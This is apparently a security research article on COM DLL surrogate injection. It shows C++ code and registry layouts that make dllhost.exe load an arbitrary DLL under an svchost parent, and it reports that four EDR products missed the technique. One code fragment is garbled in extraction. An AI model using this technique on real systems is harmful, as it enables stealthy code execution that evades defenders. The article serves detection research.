COM-based DLL Surrogate Injection
This paper analyzes a sophisticated injection technique that leverages the Component Object Model (COM) and DLL Surrogate processes for stealthy code execution. Unlike traditional COM hijacking methods focused primarily on persistence, this technique exploits the surrogate hosting capabilities to achieve process injection with several operational advantages, including parent process masquerading and reduced detection footprint.
Component Object Model (COM) hijacking has been extensively documented as a persistence mechanism in the MITRE ATT&CK framework. This paper examines the technical mechanics of COM-based DLL Surrogate injection.
The Component Object Model (COM) is a Microsoft technology that enables software components to communicate regardless of the programming language used to create them. COM objects are identified by globally unique identifiers (GUIDs) called Class Identifiers (CLSIDs) and can be instantiated through various mechanisms including:
dllhost.exe is a legitimate Windows system process that serves as a surrogate host for COM objects implemented as DLLs. This mechanism, known as “DLL Surrogate,” allows DLL-based COM objects to run in a separate process space, providing:
The surrogate is configured through registry entries, specifically the DllSurrogate value under the AppID registry key.
The technique operates by creating specific registry entries in HKEY_CURRENT_USER rather than HKEY_LOCAL_MACHINE, which provides several advantages:
HKCU\Software\Classes\AppID\{CLSID}
├── (Default) = "MyStealthObject"
└── DllSurrogate = ""
HKCU\Software\Classes\CLSID\{CLSID}
├── (Default) = "MyStealthObject"
├── AppID = "{CLSID}"
└── InprocServer32\
├── (Default) = "C:\Path\To\Malicious.dll"
└── ThreadingModel = "Apartment"When the malicious COM object is instantiated with CLSCTX_LOCAL_SERVER, Windows automatically launches dllhost.exe as a surrogate process. This creates a deceptive process tree:
svchost.exe (COM+ System Application)
└── dllhost.exe /Processid:{CLSID}
└── [Malicious DLL loaded in-process]Key Advantages:
svchost.exe, a highly trusted system processstatic const wchar_t* CLSID_STR = L"{F00DBABA-2504-2025-2016-666699996666}";The technique begins with a custom CLSID (Class Identifier), a 128-bit GUID that uniquely identifies the COM object. This particular CLSID is crafted to appear distinctive while avoiding conflicts with legitimate system components. The format follows the standard GUID structure: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}.
bool SetRegStr(HKEY root, const std::wstring& key,
const std::wstring& name, const std::wstring& val) {
HKEY h;
if (RegCreateKeyExW(root, key.c_str(), 0, nullptr,
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &h, nullptr) != ERROR_SUCCESS)
return false;
if (RegSetValueExW(h,
name.empty() ? nullptr : name.c_str(),
0, REG_SZ,
(const BYTE*)val.c_str(),
DWORD((val.size() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS)
{
RegCloseKey(h);
return false;
}
RegCloseKey(h);
return true;
}Technical Breakdown:
RegCreateKeyExW: Creates or opens the specified registry key with KEY_WRITE permissionsREG_OPTION_NON_VOLATILE: Ensures the key persists across reboots -> Could be changed with REG_OPTION_VOLATILE (Stored in memory and is not preserved when the corresponding registry hive is unloaded)std::wstring appidKey = LR"(Software\Classes\AppID\)" + std::wstring(CLSID_STR);
if (!SetRegStr(HKEY_CURRENT_USER, appidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, appidKey, L"DllSurrogate", L""))Critical Analysis:
HKCU\Software\Classes\AppID\{CLSID}DllSurrogate = “”: Empty string is crucial - signals Windows to use the default dllhost.exe as surrogatestd::wstring clsidKey = LR"(Software\Classes\CLSID\)" + std::wstring(CLSID_STR);
std::wstring inprocKey = clsidKey + LR"(\InprocServer32)";
if (!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"", L"MyStealthObject") ||
!SetRegStr(HKEY_CURRENT_USER, clsidKey, L"AppID", CLSID_STR) ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"", L"C:\\Users\\sample.dll") ||
!SetRegStr(HKEY_CURRENT_USER, inprocKey, L"ThreadingModel", L"Apartment"))Registry Structure Explanation:
HKCU\Software\Classes\CLSID\{CLSID}HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
std::wcerr (CLSID_STR), &clsid);
if (FAILED(hr)) {
std::wcerr << L"[!] Invalid CLSID\n";
return 1;
}Technical Details:
CoInitializeEx: Initializes COM library for current threadCOINIT_APARTMENTTHREADED: Single-threaded apartment modelCLSIDFromString: Converts string representation to binary CLSID structureIUnknown* p;
hr = CoCreateInstance(clsid, nullptr,
CLSCTX_LOCAL_SERVER, // Key parameter!
IID_IUnknown,
(void**)&p);The CLSCTX_LOCAL_SERVER Significance:
dllhost.exesvchost.exe → dllhost.exe chainExecution Sequence:
CoCreateInstance called with CLSCTX_LOCAL_SERVERDllSurrogate value and launches dllhost.exedllhost.exe loads the specified DLL from InprocServer32Result: The malicious DLL runs in dllhost.exe with svchost.exe as apparent parent, obscuring the true attack vector.
In this evaluation, four leading Endpoint Detection and Response (EDR) solutions were examined without disclosing vendor identities. The goal was to assess how these solutions react to COMouflage-based surrogate execution. During testing, one solution registered dllhost.exe activity but failed to classify it as suspicious, resulting in no alert being raised. Other solutions similarly did not detect the surrogate execution technique, allowing the process to run without generating any form of warning or intervention. These observations highlight significant detection blind spots across multiple industry-standard platforms and underscore the need for improved behavioral analysis capabilities within modern EDR technologies.
COM-based DLL Surrogate injection represents an evolution of traditional COM hijacking techniques, offering adversaries enhanced stealth capabilities through process tree masquerading. The technique’s reliance on legitimate Windows functionality makes detection challenging but not impossible with proper monitoring and forensic awareness. This technique highlights the importance of understanding legitimate Windows mechanisms that can be subverted for malicious purposes.
[1] https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal
[2] https://learn.microsoft.com/de-de/windows/win32/com/dllsurrogate
[3] https://attack.mitre.org/techniques/T1546/015/
[4] https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
[5] https://learn.microsoft.com/en-us/windows/win32/cossdk/com--threading-models
No open issues yet, or sync has not completed.